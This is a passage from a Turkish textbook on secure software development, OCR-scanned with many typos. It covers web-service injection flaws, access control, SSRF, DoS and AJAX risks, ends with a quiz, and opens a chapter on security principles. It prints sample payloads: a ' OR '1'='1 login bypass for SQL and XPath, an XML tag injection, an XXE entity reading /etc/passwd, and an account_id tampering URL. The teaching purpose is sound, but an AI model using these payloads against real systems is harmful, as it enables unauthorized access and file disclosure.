saldirgan bu girdileri manipile ederek veri tabanina zararli kod enjekte edebilir. Kullanici adi ve sifreyi
dogrulamak icin kullanilan SQL sorgusu su sekildedir:

' SELECT * FROM users WHERE username = ‘Susername’ AND password = ‘Spassword’ :
‘OR1'="1 1

1

ISELECT * FROM users WHERE username = ¢’ OR ‘1°=’1" AND password = ‘.‘Iipasswor‘d’I

Bu durumda ‘1’="1’ ifadesi her zaman dogru oldugu icin saldirganin veri tabani sorgusunda kullanici
adi ve sifre kontroll atlanir. Bu, saldirganin herhangi bir kullanici adi ve sifre olmadan sisteme giris
yapabilmesine yol agar. Bu, temel bir SQL Injection 6rnegidir. Gergek diinyada ¢ok daha karmasik ve
zararli sorgularla saldirilar gerceklestirilebilir. Bu nedenle web uygulamalarinin girdilerini dogrulamak,
filtrelemek, parametrelemek gibi glivenlik 6dnlemleri alinarak bu tir saldirilar 6nlenebilir.

2. XPath Injection Zafiyeti: Bir web uygulamasinin veri tabani veya XML (Extensible Markup
Language, veriyi yapilandirmak ve tasimak icin kullanilan bir isaretleme dilidir.) verilerini sorgularken
kullanilan XPath ifadelerinde glivenlik acgiklari nedeniyle olusan bir tir glvenlik zafiyetidir. XPath,
XML belgelerinde belirli verilere erismek icin kullanilan bir dildir. XPath ifadeleriyle belirli veri
digumlerine veya 6zelliklere erisim saglanir.

XPath Injection, saldirganlarin bir web uygulamasinin kullanici girdilerini (genellikle bir web formu)
manipile ederek kot niyetli XPath ifadelerini enjekte etmelerine yol agar. Bu sayede saldirganlar XML
verilerinin alinmasinda veya sorgulanmasinda istedikleri gibi manipilasyon yapabilir. Bu tir bir saldiri
genellikle hatali girdi denetlemesi veya yetersiz veri dogrulama nedeniyle meydana gelir. XPath Injection
saldirilari, ayni SQL enjeksiyonu veya XSS giivenlik agiklari gibi diisiiniilebilir. Ozellikle uygulamalar XML
verilerini dinamik olarak olusturup sorguladiginda veya bu sekilde islediginde XPath Injection zafiyeti
riski olusabilir. Ornegin bir web uygulamasi, kullanici adi ve sifreyle giris yapabilen bir arayiize sahip ve
kullanici adini dogrularken XPath ifadesi kullaniyor olsun.

//user[@username="Susername’ and @password="$password’]



GUVENLI YAZILIM GELISTIRME TEKNIKLERT W8

Uygulama, kullanici girisini yeterince denetlemezse saldirgan koti niyetli bir giris yapabilir.
Kullanici adi: “ or ‘1'="1
Sifre: herhangi_birsifre

Bu durumda XPath ifadesi soyle olur:
/luser|@username=" or ‘1°’="1" and @password="herhangi_birsifre’|

Bu da saldirganin kimlik dogrulamasini atlattigini ve giris yapabildigini gosterir.

XPath Injection saldirilarindan korunmak igin gelistiricilerin kullanici girdilerini dogru bir sekilde
denetlemesi, veri dogrulama ve temizleme islemlerini gerceklestirmesi gereklidir. Ayrica dinamik XPath
ifadelerini olustururken verileri glivenli bir sekilde yerlestirmek ve otomatik olarak giivenli XML islemeyi
saglamak da gereklidir.

3. XML Injection Zafiyetleri: Bir web uygulamasinin kullanici girdilerini yetersiz bir sekilde isleyerek
veya denetlemeyerek XML verilerini manipile etme yahut saldirma amaciyla kétii amagh kodlarin
enjekte edilmesine neden olan bir glivenlik zafiyetidir.

XML Injection saldirilari, web uygulamasinin kullanicidan alinan verileri veya girdileri dogru bir sekilde
temizlemeden ve denetlemeden XML belgesini olusturmak yahut islemek amaciyla kullanildiginda
gerceklesir. Bu tiir saldirilar genellikle uygulamanin giivenlik kontrolleri veya veri denetlemesi eksik
oldugunda ortaya cikar. Bir XML Injection saldirisinin amaci; uygulamanin normal isleyisini bozmak,
kullanicilarin hassas verilerini calmak veya uygulama sunucusunu zayiflatmaktr.

Ornegin bir XML Injection saldirisinda web uygulamasi kullanicilarin adini ve yasini bir XML belgesine
eklemesine izin vermektedir. Kullanici adini ve yasini girerken

Kullanici adi: <username>
Yas: <age>25</age>

kullanildiginda uygulama bu girdileri alarak, bir XML belgesini islerken yeterince denetlemeyebilir.
Uygulama bu girdileri glvenli bir sekilde temizlememisse saldirgan sunun gibi kot amacli girdileri
kullanabilir:

Kullanici adi: </username><password>saldiri</password><age>
Yas: <age>25</age>
Bu durumda uygulama, kullanicinin girisini aldiginda su sekilde k6t amagli bir XML belgesi olusturur:

Saldiri.xml

<user>
<username></username>
<password>saldiri</password>
<age></age>

</user>

Bu tur bir saldiri, kullanici adi ve sifre gibi hassas bilgileri ele gecirmek veya XML isleme siirecini bozmak
amaciyla kullantlir.
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XML Injection saldirilarindan korunmak igin kullanici girdilerini dogru bir sekilde temizlemek, veri
denetlemesi yapmak ve XML islemesini glivenli bir sekilde gerceklestirmek 6nemlidir. Ayrica uygulama
katmaninda glvenlik kontrolleri saglamak ve kullanici girdilerinin istenmeyen kod enjeksiyonuna karsi
korunmasini saglamak da 6nemlidir.

4. XXE (XML External Entity) Saldinsi: Glvenli olmayan XML islemeyen web servislerinde
saldirganlarin kot niyetli XML igerigi gondererek sunucunun yerel kaynaklara erismesine veya
hassas verileri cekmesine olanak taniyan bir zafiyettir.

Bu tir bir saldirida saldirgan, kotl niyetli XML dokimanlari veya dissal varliklar (external entities)
enjekte ederek uygulamanin davranisini manipile etmeye ¢alisir.

XML dokiimanlar veriyi yapilandirmak ve tasimak icin kullanilan bir isaretleme dilidir. XML
dokiimanlari icinde varliklar (entities) tanimlanabilir. Dissal varlklar, XML dokimaninin kendisi
disindaki verilere basvurmasina izin verir. Bu, dosya sistemine, aga veya diger kaynaklara erisimi
icerebilir. XXE saldirilarinda saldirgan, kot amacgh XML dokiimanlari icinde digsal varliklari kullanarak
uygulamanin verilerine veya kaynaklarina erisim saglamaya ¢alisir. Bu, hassas verilerin ¢alinmasina
veya uygulamanin istismar edilmesine neden olabilir.

Ornegin bir XXE saldirisinda web uygulamasi, kullanicidan bir XML dokiimanini islemesi icin séyle girdi
alsin:

<data>
<username>john</username>
<password>passl23</password>
</data>

Uygulama bu XML dokiimaniniislerken digsal varliklari yeterince denetlemediginde ve sinirlamadiginda
saldirgan sunun gibi kot amach bir XML dokiimanini enjekte edebilir:

<?xml version="1.0” encoding=”1S0-8859-1"?>

<IDOCTYPE foo [

<IELEMENT foo ANY >

<IENTITY xxe SYSTEM “file:///etc/passwd” >]>

<data>

<username>&xxe;</username>

<password>passl23</password>

</data>

Bu durumda uygulama, dissal varlik XXE’yi kullanarak sistemdeki /etc/passwd dosyasini okur. Saldirgan
bu yolla hassas verileri ele gecirir veya sistemdeki diger dosyalara erisir.

XXE saldirilarindan korunmak icin kullanici girdileri giivenli bir sekilde temizlenmeli, denetlenmeli,
XML islemesi giivenli bir sekilde yapilmali ve dissal varliklarin kullanimi sinirlanmahdir. Ayrica girdi
denetlemesi, glivenlik kontrolleri gibi dnlemler almak da bu tir saldirilardan korunmak icin 6nemlidir.

2.4.1.2. Web Servislerinde Kontrol Zafiyetleri

Web servislerinde kontrol zafiyetleri, yetkisiz erisim ve fonksiyonlarin limitsiz kullanimi olarak iki
kategoriye ayrilabilir.
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1. Yetkisiz Erisim Zafiyetleri

Yetkisiz erisim zafiyeti, bir web uygulamasinin ya da sistemin kullanicilara veya islevlere uygun
izinleri dogru bir sekilde saglamadan, yetkisiz kisilerin yahut hesaplarin istenmeyen verilere
veyahut kaynaklara erisim saglamasina neden olan bir giivenlik agigidir. Bu tir bir zafiyet genellikle
yetki dogrulamasi ve erisim kontrolii mekanizmalarinin yetersiz veya hatali uygulanmasindan
kaynaklanir. Yetkisiz erisim zafiyeti, saldirganlarin normalde erismelerine izin verilmeyen
verilere veya hizmetlere yetkisiz erisimini saglar. Bu, hassas verilerin ¢calinmasina veya manipile
edilmesine, sistemlerin zayiflailmasina veya hizmetlerin istismar edilmesine yol agabilir. Ornegin
bir web uygulamasi kullanicilarin kendi hesaplarina ait verileri goérintlilemesine izin veren bir
araylze sahip ise kullanici, hesabini gortintilerken uygulama URLye hesap numarasini ekler. Bu
numarayla dogru kullanicinin verilerini su sekilde getirir:

https://example.com/account?account_id=12345

Ornekte uygulama bu hesap numarasi lizerinde gerekli yetki dogrulamasini yapmadigi icin kullanicilar
hesap numarasini degistirerek baska hesaplarin verilerine erisebilir. account_id=numarasi degistirilerek
bagka kullanicilarin verilerine de erisim saglanmasi mimkuinddir.

https://example.com/account?account_id=54321

Yetkisiz erisim zafiyetlerinden korunmak igin glicli yetki dogrulama ve erisim kontrolii mekanizmalari
uygulamak 6nemlidir. Kullanicilarin sadece kendi hesaplarina ait verilere erisim saglamalarini saglamak
icin dogru yetkiler ve izinler atanmalidir. Ayrica girdi denetlemesi, veri gizliligi, veri butlnlGgu gibi diger
glivenlik 6nlemleri de alinmalidir.

2. Fonksiyonlarin Limitsiz Kullanimi

Bir web servisinin API’sinde yer alan islevlerin veya hizmetlerin belirli bir kimlik dogrulama ve yetki
kontroll olmaksizin sinirsiz bir sekilde kullanilabilmesi durumunu ifade eder. Bu durum, uygulama
sahiplerinin veya hizmet saglayicilarinin istemedigi veya planlamadigi sekillerde web servislerinin
kullanimina neden olabilir.

Kaba Kuvvet Saldirisi: Limitsiz fonksiyon kullanimi, saldirganlarin otomatik aracglarla veya scriptlerle web
servisinin fonksiyonlarini stirekli olarak ¢agirmasina olanak tanir. Bu, kullanici hesaplarinin glivenligini
tehlikeye atabilir ve kimlik dogrulama mekanizmasinin asilmasina yol acgabilir.

Veri Tabani Doldurma ve Servis Disi Birakma: Limitsiz kullanim, veri tabaninin asiri yiiklenmesine
neden olabilir. Saldirganlar, bu yolla veri tabaninin doldurulmasina veya hizmetin yavaslamasina hatta
¢okmesine neden olabilir.

Haklarin Koétiiye Kullanilmasi: Bir web servisi belirli haklara sahip kullanicilari veya rolleri
tanimlayabiliyorsa limitsiz fonksiyon kullanimi, saldirganlarin bu haklari koétiiye kullanmasina neden
olabilir. Ornegin normalde yetkilendirilmemis bir kullanici limitsiz kullanimla yetkili bir kullanicinin
haklarini kullanabilir.

Sunucu Yiiklemesi ve DDoS [Distributed Denial of Service (Servis Digi Birakma)] Saldirilari: Limitsiz
fonksiyon kullanimi, saldirganlarin sirekli olarak sunucuya istekler géndermesiyle sunucunun
ylklenmesine ve hizmet disi birakilmasina neden olabilir. Bu, DDoS saldirilarini kolaylastirabilir.

Sayilan bu risklerden korunmak icin web servislerinin API’sinin giivenli bir sekilde tasarlanmasi ve
uygulanmasi 6nemlidir. API'deki islevlerin ve servislerin yetkisiz erisime karsi korunmasi, kullanici
haklarinin dogru bir sekilde yonetilmesi, APl kotalarinin belirlenmesi ve saldirilara karsi glvenlik
onlemleri alinmasi gereklidir. Glivenli yazihm gelistirme pratigi ve dizenli givenlik testleri de bu tir
zafiyetlerin tespit edilmesi ve diizeltiimesinde yardimci olabilir.
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2.4.1.3. Web Servislerinde is Mantigi Zafiyetleri

Yazilim gelistiricilerinin bir standarda bagli kalmadan gelistirdigi uygulamalar cesitlilik gosterir. Bu
cesitlilik sonucunda da ortaya is mantigi zafiyeti ¢ikar. Her gelistirici farkh distince yapisina sahiptir
ve farkli algoritmalar olusturur. Bunun sonucunda bu tiir zafiyetler ortaya cikar. Ornegin bir kullanici;
sosyal agda kendi olusturdugu bir direkt mesaji (DM) sildiginde DM’yi artik gérememelidir ancak
REST servislerine ait bir DM okuma fonksiyonu, silinen DM’nin ID degeri ile ¢agrildiginda silinen DM
belirtilen zafiyet nedeniyle okunabilir. Burada is mantigi hatasi, silinen bir mesajin erisilemez olmasi
gerektigi halde hala okunabiliyor olmasidir. Bu 6rnekte oldugu gibi is mantig zafiyetleri, uygulama
kodunun tasariminda veya algoritmalarda yapilan hatalar sonucu meydana gelir. Genellikle glivenlik
kontrollerinin eksik veya yanlis yapilmasi nedeniyle ortaya ¢ikar. Bu tir zafiyetler, uygulamalarin dogru
ve glvenli bir sekilde calismasini saglamak icin 6zellikle dikkat edilmesi gereken dnemli bir glivenlik
acigidir.

2.4.1.4. Web Servislerinde Oturum A¢ma Zafiyetleri

Web servislerinde oturum agma zafiyetleri, ayni ag igindeki kullanicilarin MITM (Man-in-the-Middle)
saldirilariyla ag trafigini izlemeleri sonucu ortaya cikar. Kullanicilar, oturum agma siirecinde kullanilan
degerleriele gegirerek bu zafiyeti sémiirebilir. Ozellikle giivenli olmayan bir protokol olan HTTP {izerinden
iletilen web servisler bu tiir zafiyetlere yol acabilir. Bdyle bir saldiriya karsi web servis, her kullanici igin
oturum acma islemi sirasinda olusturulan bir oturum kimligi (session ID) degeri kullanarak bu zafiyeti
onleyebilir. Kullanicilarin giris bilgileri her istekte sunucuya iletilerek de oturum givenligi saglanabilir.
Ozellikle SSL gibi giivenli iletisim protokollerini desteklemeyen web servislerinin, kullanicilarin oturum
acma isleminde kullandigi oturum kimligi gibi hassas verilerin ¢alinmasina karsi daha savunmasiz oldugu
unutulmamalidir. Bu tiir durumlar, ayni ag icindeki herhangi bir saldirganin, oturum kimlik bilgilerini ele

gecirerek saldirmasi riskini artirabilir.

2.4.1.5. Web Servislerinde SSRF (Server-Side Request Forgery) Zafiyetleri

SSRF, web uygulamalarinin sunucu tarafinda meydana gelen bir glivenlik zafiyetidir. Bu zafiyet tiriinde
saldirgan, hedef sunucunun yerel agdaki veya disaridaki kaynaklara (URLler, dosyalar, servisler vb.)
istekler gondermesini saglayacak sekilde uygulamada bir agik bulmaya calisir. SSRF saldirisi, uygulamanin
glvenligini tehlikeye atabilir ve hassas bilgilerin ifsa edilmesine veya sunucunun guvenlik agiklarinin
istismar edilmesine yol acabilir. SSRF saldirisi Gorsel 2.59’daki gibidir.

Web sunucu

amEEEmE.

)
(alameradna ()

istekte bulunur.
it - \ /( Dogrudan istek

. - géndermek, giivenlik
. s duvari tarafindan
engellenmistir.

Gorsel 2.59: SSRF saldirisi
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SSRF saldirilarindan korunmak icin su 6nlemleri almak énemlidir:

Girdi Denetlemesi: Kullanici girdilerini glvenli bir sekilde islemek ve filtrelemek icin dogru girdi
denetlemesi yapilmahdir.

Beyaz Liste Kontrolleri: Sunucu tarafindaki istekler icin sinirlamalar ve beyaz liste kontrolleri
uygulanmalidir. Hangi kaynaklara erisim saglanabilecegi dnceden tanimlanmalidir.

Kisith Yetkiler: Uygulama, sunucu tarafinda sadece giivenilen belirli kaynaklara erisim izni vermelidir.

Giivenli URL isleme: Gelen URLlerin dogru bir sekilde islendiginden emin olunmali ve sadece giivenli
kaynaklara istek yapilmasi saglanmalidir.

Ag Segmentasyonu: i¢ agdaki hizmetler ile kaynaklara sadece gerektigi kadar erisim saglanmali ve ag
segmentasyonu uygulanmalidir.

2.4.1.6. Web Servislerinde DoS Zafiyetleri

Web servislerinde DoS saldirilari, istemci tarafindan génderilen XML verilerin sunucu tarafinda bir XML
¢ozumleyici (parser) yardimiyla ¢ézimlenmesi ve islenmesi sirasinda meydana gelebilir. Bu zafiyetler,
SAX (Simple API for XML) tabanli ve DOM (Document Object Model) tabanli olmak Gzere iki tip XML
¢OzUmleyici Gzerinden ortaya cikabilir.

SAX tabanli ¢ozlimleyiciler, ¢oziimleme islemi esnasinda bellekte sadece belirli sayida elementi
(genellikle iki element) tutar. Bu yapi nedeniyle servis disi birakma zafiyetleri genellikle SAX tabanli
¢OzUmleyiciler icin gecerli degildir.

DOM tabanli ¢oziimleyiciler, gelen XML veriyi tamamen bellege alir. Bu durumda, biylik ve karmasik
XML nesneleri bellegi asiri yikleyebilir. Bu tir ¢oziimleyicilerde bellek iginde buyilik nesnelerin
olusturulmasi, servis disi birakma saldirilarini kolaylastirabilir. Ozellikle XML diigiimleri ve attribute
degerlerinin boyutu ve sayisi kontrol edilmediginde bu tir saldirilar tetiklenebilir. Bu tir zafiyetlerden
korunmak igin gelen XML verilerinin boyutu ve yapisi dikkatlice kontrol edilmeli, gereksiz veri ylkleri
engellenmeli ve glivenli XML ¢6ziimleme yontemleri kullaniimahidir.

2.4.2. AJAX Zafiyetleri ve Onlemleri

AJAX, tek bir teknoloji veya programlama dili degildir. AJAX kisaca belirli web gelistirme yontemlerini
ifade eder. Bu yaklasim genellikle sunlariicerir:

e HTML/XHTML, ana dil olarak kullanilirken sunum icin CSS kullanilr.

e Dinamik gorinti ve etkilesim amaciyla Document Object Model (Dokiiman Nesne Modeli veya
DOM) kullanilir.

e Veri alisverisi icin XML, veri manipulasyonu icin ise XSLT kullanilabilir ancak pek cok gelistirici
JSON tercih etmeye baslamistir ¢linki JSON, JavaScript’e daha yakindir.

e Eszamansiz iletisim icin XMLHttpRequest nesnesi kullantlir.
e Tim bu teknolojileri bir araya getirmek igin JavaScript kullanihr.
Ornegin AJAX ile otomatik tamamlama 6zelligi bulunan arama motorunda kullanici bir seyler yazarken

sunucudan gelen onerileri anlik olarak alabilir. Bu durumda kullanici deneyimi daha hizh ve akici hale
gelirken sayfanin yapisi ve diger icerikleri dokunulmadan kalir.
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Bu, internet deneyimini biylk o6lclide gelistiren bir adimdir ¢linkd kullanicilar artik sayfalarin siirekli
yeniden ylklenmesini beklemek zorunda kalmadan verilere erisebilir. AJAX teknolojisi, web gelistirici-
lerine daha dinamik ve kullanici dostu deneyimler sunma yetenegi saglar.

Geleneksel web uygulamasi modeli ile AJAX modelinin karsilastirilmasi Gorsel 2.60’ta verilmistir.
Web Uygulamasinin Geleneksel Modeli Web Uygylamasinin AJAX Modeli
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Gorsel 2.60: AJAX ile geleneksel modelin karsilastirmasi

AJAX zafiyetleri, web uygulamalarinda AJAX teknolojisinin kullanimi sirasinda olusabilecek giivenlik
aciklarini ifade eder. Bu zafiyetler, saldirganlarin AJAX kullanimini manipile ederek kullanicilarin
verilerine veya uygulama islevselligine zarar verme olasiligini icerir. AJAX zafiyetleri sunlardir:

1. Veri Dogrulama Eksikligi: Kullanici tarafindan gonderilen verilerin yeterince dogrulanmamasi sonucu
glvenlik aciklari olusabilir. Ozellikle sunucu tarafinda gelen verilere glivenmeden 6nce veri dogrulama-
sinin ve filtrelemenin yapilmamasi risk olusturabilir.

2. XSS: AJAX kullaniminda da XSS saldirilari olusabilir. Saldirganlar kullanicinin tarayicisinda zararh kod-
lari calistirmak amaciyla veri enjekte edebilir.

3. CSRF: AJAX kullaniminda da gecerlidir. Oturumu acikken yetkisiz islemleri gerceklestirmek amaciyla
saldirganin kullaniciyr kandirmasina dayanan bir saldiri taraddr.

4. JSON Hijacking: JSON verilerine yetkisiz erisim saglamak amaciyla saldirganlar, koti niyetli kodlari
calistirarak verileri ele gegirebilir.

5. Giivenli Olmayan Veri iletimi: AJAX kullanilirken verilerin giivenli iletilmesi saglanmalidir. HTTPS kul-
lanilmadan génderilen veriler saldirganlarin dinlemesine agik olabilir.

6. Veri Gizliligi Sorunlari: AJAX istekleri, kullaniciya 6zel veya hassas bilgilerin ifsa edilmesine neden
olabilir. Kullaniciya ait 6zel verilerin korunmasi 6nemlidir.

7. Sunucu Tarafi Dogrulama Eksikligi: Kullanici tarafindan yapilan AJAX isteklerinin sunucu tarafinda
yeterince dogrulanmamasi sonucu yetkisiz islemler gerceklestirilebilir.

Bu zafiyetler, AJAX teknolojisinin yanhs veya dikkatsiz kullanimi sonucu ortaya ¢ikar. Web gelistiriciler
bu tir guvenlik risklerini dnlemek icin gerekli dnlemleri almalidir. Veri dogrulamasi, givenli iletisim,
yetkilendirme gibi glivenlik 6nlemlerini eksiksiz bir sekilde uygulamalidir.
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OLGME VE DEGERLENDIRME 3 -

A) Asagidaki climlelerde parantezlerin igine yargilar dogru ise “D”, yanhs ise “Y” yaziniz.

1. (...) Yazihm gelistirme yasam dongusd, bir yazilim projesinin sadece sonucunun iyi olmasini ifade

eder.

2. (...) Microsoft SDL; egitim, surekli iyilestirme ve hesap verebilirlik bashkli ¢ temel amaci

gerceklestirmeyi hedefler.

3. (...) Girdi denetimi yontemlerinde sadece sisteme giris yapilmasi saglanir.

4. (...) Guvenli dizayn, bir yazilm veya sistem tasarlanirken basindan sonuna kadar gtvenlikle ilgili

onlemlerin alindigi ve glivenlik risklerinin en aza indirildigi bir yaklasimi ifade eder.

B) Asagidaki ciimlelerde bos birakilan yerlere dogru sézciikleri yaziniz.

1

. Web sayfalarinin arka planda veri alisverisi yapmasini, sayfa yeniden yiklenmeden dinamik icerikleri
giincellemesini saglayan teknik ve yaklasima ............... denir.
. Guvenli yazilim gelistirme modellerinden ............... , glvenlik adimlarini ve dnlemlerini iceren yedi

asamaya ayrilir.

. Bir kullanicinin sisteme eristigi andan sistemden ¢ikis yapincaya kadar gegcen zaman dilimine ........
denir.
. Yazihmin kalitesini artirmak, hatalari tespit etmek, performans sorunlarini belirlemek, giivenlik

actklarint bulmak ve kodun daha sirdirilebilir hale gelmesini saglamak amaciyla yapilan isleme
.............. analizi denir.

C) Asagidaki sorularin dogru cevabini isaretleyiniz.

1. Asagidakilerden hangisi yazilim gelistirme yasam dongiisiiniin adimlarindan biri degildir?

A) Analiz B) Bakim C) Degerlendirme D) Planlama E) Tasarim

2. “BSIMM modelinin etkinlik ve faaliyet alani dért asamadan olusur.”

Bu ifadeye gore asagidakilerden hangisi bu asamalarin disinda kalir?

A) Yonetisim B) Kurulum C) Tasarim

D) istihbarat E) GYGYD etkilesim noktalari
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. Asagidakilerden hangisi girdi denetimi yontemlerinden biri degildir?

A) Cross-Site Scripting(XSS) engelleme B) Veri temizleme C) Sinirlama ve filtreleme

D) Veri dogrulama E) Veri tabani baglama

. Oturum bilgilerinin giivende iletilmesini saglamak amaciyla iletisim kanallarini sifrelemek igin
asagidaki protokollerden hangisi kullanilir?

A) DHCP B) DNS C) HTTP D) HTTPS E) TCP

. Asagidakilerden hangisi cesitli dillerde kod kalitesini degerlendirme, hatalari tespit etme ve
giivenlik agiklarini bulma aracidir?

A) Bandit B) Burp Suite C) Coverty D) Cppcheck E) SonarQube

. Asagidakilerden hangisi hafif kod gozden gegirme yéntemlerinden biri degildir?

A) Aninda B) Arada bir C) Asenkron

D) Gelisigtizel E) Senkron

. Asagidakilerden hangisi Web servislerinde Injection zafiyetlerinden biri degildir?

A) Kaba Kuvvet Saldirisi

B) SQL Injection Zafiyeti

C) XPath Injection Zafiyeti
D) XML Injection Zafiyetleri

E) XXE (XML External Entity) Saldirisi
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YAZILIM
GUVENLIGI

KONULAR

3.1. YAZILIM GUVENLIGi YONTEMLERI
3.2. KiIMLIK DOGRULAMA

3.3. GUVENLI YAZILIM GELiSTIRME
3.4. YAZILIM TESTLERI

" W ] .
NELER OGRENECEKSINIZ?
¢ Yazilim glivenliginde uyulmasi
gereken temel ilkeleri aciklama
¢ Yazilim glivenliginde kimlik
dogrulama gesitlerini agiklama
e Uluslararasi yazilim giivenligi
standartlarini aciklama
¢ Giivenli web uygulamasi yapma
¢ Giivenli yazilim hazirlamada kul-
lanilan test teknikleri ile uygula-
ma glivenligi testi yapma

TEMEL KAVRAMLAR

CAPTCHA, Docker, glivenlik ilkeleri, Kubernetes, Nmap, sanal makineler, uluslararasi
yazihm giivenligi standartlari, yaziim giivenligi, yetkilendirme, Wireshark.
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1. Yazilim glivenligini saglamanin neden dnemli oldugu konusundaki diisiinceleriniz nelerdir?

2. Kullandiginiz bir yazilim uygulamasinda kimlik dogrulama islemi ile karsilastiginizda neler
yaptiniz? Tecribelerinizi arkadaslarinizla paylasiniz.

3. Yazilim test ortamlarinin yazilim giivenliginde kullanilmasi hakkinda fikirleriniz nelerdir? Di-
siincelerinizi arkadaslarinizla tartisiniz.

3.1. YAZILIM GUVENLIGi YONTEMLERI

Yazilim giivenligi, saldirilara maruz kaldiginda dahi islevlerini dogru bir sekilde yerine getirmeye devam
edebilmesi icin yazihmin gelistirilmesidir. Bu kavram, glivenlik faktorleri géz 6niinde bulundurularak
yazilimin tasarlanmasi, gelistirilmesi ve test edilmesi sirecini icerir. Temel amag, gercek diinya
kullaniminda tim bilgi givenligi saldirilarina karsi daha dayanikh bir sekilde calisabilen hatasiz
yazilimlar tretmektir. Ornegin hastaneler, hasta verilerini ve tibbi kayitlari dijital olarak yéneten bir
yazilim sistemine sahiptir. Bu yazilimlar genellikle hastalarin kisisel bilgilerini, tibbi ge¢cmislerini ve teshis
bilgilerini icerecek sekilde tasarlanir. Hastanelerde kullanilan bu yazilim, glivenli bir sekilde tasarlanmaz
ve gelistirilmezse glvenlik aciklari ortaya cikar. Bir saldirgan, zayif glivenlik dnlemleri nedeniyle bu
yazilima erisirse hastalarin kisisel saglik verilerini ele gecirebilir veya degistirebilir. Bu durumda hem
hastalarin gizliligi ihlal edilebilir hem de tibbi teshisler veya tedaviler yanhs yonlendirilebilir. Ayrica
hastalarin sagligi riske atilabilir ve saglk kurulusunun itibari zedelenebilir. Yazilim, gelistirme asamasinda
glivenlik standartlarina uygun bir sekilde tasarlanirsa saldirilara daha direncli olur. Veriler sifrelenir,
yetkilendirme mekanizmalari gliclenir ve glivenlik tehditlerine karsi dizenli giincellemeler yapilir. Bu
sayede hastalarin verileri glivende olur ve saglk kurulusu giivenli bir sekilde hizmet sunmaya devam
edebilir. Bu 6rnek, sadece verilerin degil insan hayatinin korunmasinda da yazilim givenliginin ne
kadar onemli oldugunu gosterir. Yazilim glivenligi, sadece bilgisayar kodlarini degil gercek diinyadaki
etkilesimleri ve sonuglari da etkiler.

3.1.1. Yazilim Giivenligi ilkeleri

Yazilim glvenligi ilkeleri, givenli yazilim gelistirme yasam
dongilisiinde dikkat edilmesi gereken temel glivenlik unsurlarini
icerir (Gorsel 3.1).

Yazilim glivenligi ilkeleri sunlardir:

A0
o0 e Gerek duyulan en az yetkiyi vermek.
C=

e TUm erisimleri denetlemek.
e Yetkileri ayirmak.

¢ Varsayilan degerleri glivenli hale getirmek.

¢ Ortak erisilen kaynaklara farkl kaynaklardan erismek.
Gorsel 3.1: Yazilim giivenligi * En zayif halkayi tespit edip gliclendirmek.

e Saldiri ylzey alanini azaltmak.

e Savunma derinligi olusturmak.

¢ Basit glivenlik mekanizmasi tasarlamak.

¢ Anlasilabilir ve kolay kullanilabilir glivenlik mekanizmasi
tasarlamak.
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Gerek Duyulan En Az Yetkiyi Vermek: Kullanicilara veya yazilim bilesenlerine, yapmasi gereken islevler
icin sadece gerekli minimum yetkilerin verilmesini ifade eder. Boylece bir yazilimin diger bolimlerine
erisilmesi kisitlanir.

Tiim Erisimleri Denetlemek: Kullanicilarin ve bilesenlerin erisimlerini izlemek ve denetlemek igin uygun
mekanizmalari kullanmayi ifade eder. Kullanicilarin kimlik dogrulamasinin yapilmasini ve yetkilerinin
denetlenmesini saglar.

Yetkileri Ayirmak: Farkli kullanicilar veya bilesenler arasinda yetkileri ayristirarak her birinin sadece
kendi sorumluluklariyla ilgili islevleri gergeklestirmesini ifade eder.

Varsayilan Degerleri Giivenli Hale Getirmek: Yazilimin varsayilan degerlerini tanimlayarak yazilimi
glvenli bir bicimde gelistirmeyi ifade eder.

Ortak Erisilen Kaynaklara Farkli Kaynaklardan Erismek: Birden fazla kullanicinin veya bilesenin eristigi
ortak kaynaklara, her biri igin ayri izinler ve sinirlamalar belirleyerek glivenligi saglamayi ifade eder.

En Zayif Halkayi Tespit Edip Giiglendirmek: Sistemdeki en zayif noktalari belirlemek ve bu zayif noktalari
gliclendirmek icin dnlemler almayi ifade eder.

Saldiri Yiizey Alanini Azaltmak: Sistemdeki saldiri noktalarini azaltmak igin gereksiz servisleri kapatmak,
gereksiz portlari kapatmak gibi 6nlemler almayi ifade eder.

Savunma Derinligi Olusturmak: Tek bir glivenlik dnlemi basarisiz oldugunda bile sistemin savunmasini
saglamak icin birden fazla savunma katmani olusturmayi ifade eder.

Basit Giivenlik Mekanizmasi Tasarlamak: Guvenlik mekanizmalarini, karmasik olmaktan kaginarak
anlasilir ve etkili bir sekilde tasarlamayi ifade eder.

Anlasilabilir ve Kolay Kullanilabilir Giivenlik Mekanizmasi Tasarlamak: Kullanicilarin givenlik
mekanizmalarini anlayabilmesi ve dogru sekilde kullanabilmesi icin kullanici dostu, anlasilir bir tasarim
saglamayi ifade eder.

Yazilim gelistirme sirecinde yazihm glvenliginin temelini olusturan bu ilkelerin dikkate alinmasi,
glvenlik agisindan daha saglam yazilimlarin gelistiriimesine yardimci olur.

3.1.2. Uluslararasi Yazilim Giivenligi Standartlar

Uluslararasi yazilim glivenligi standartlari, yazilim gelistirme siirecinde giivenlik konularini ele alarak
yazihmlarin saldirilara karsi daha dayanikli ve glivenli bir sekilde calismasini saglamayl amaclar. Bu
standartlar, yazilimin yasam doénglsinin farkli asamalarinda giivenlik prensiplerini uygulamayi ve en
iyi givenlik uygulamalarini tesvik etmeyi hedefler. Ornegin OWASP Top 10 [Open Web Application
Security Project (Acik Web Uygulama Glivenligi Projesi)], uluslararasi bir yazilim glvenligi standartlari
koleksiyonudur. Bu proje, web uygulamalarinin en yaygin glivenlik zafiyetlerini ve risklerini belirler.
Bu zafiyetlerin giderilmesi icin kullanicilara 6neriler sunar. OWASP Top 10, yazihm gelistiricilerine ve
glivenlik uzmanlarina web uygulamalarini gelistirirken ve sirdiriirken géz ontinde bulundurmalari
gereken en 6nemli glivenlik sorunlarini vurgular. Cross-Site Scripting (XSS) saldirisi, kdti niyetli kisilerin
bir web uygulamasina zararli kod enjekte etmelerine izin veren bir zafiyettir. Bu saldiri tiird, uygulamanin
kullanicilarina sundugu igerigi degistirir ve kullanicilarin tarayicilarinda zararl kodlarin galismasina
neden olur. Bu durum, kullanici verilerinin galinmasi veya kimlik avi gibi ciddi sonuglara yol agar. OWASP
Top 10’un oOnerilerine uygun olarak yazilim gelistirme siirecinde yazilima givenlik kontrolleri entegre
edilirse XSS gibi zafiyetlerin online gecilebilir. Bu durum hem kullanicilarin giivenligini saglar hem de
yazilimin glivenilirligini artirir.
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Uluslararasi yazilim giivenligi standartlari, benzer giivenlik risklerine karsi tim sektoérlerde ve llkelerde
ortak bir dil ve yaklagsim saglayarak yazilim givenliginin gelistiriimesine yardimci olur. Bu durum hem
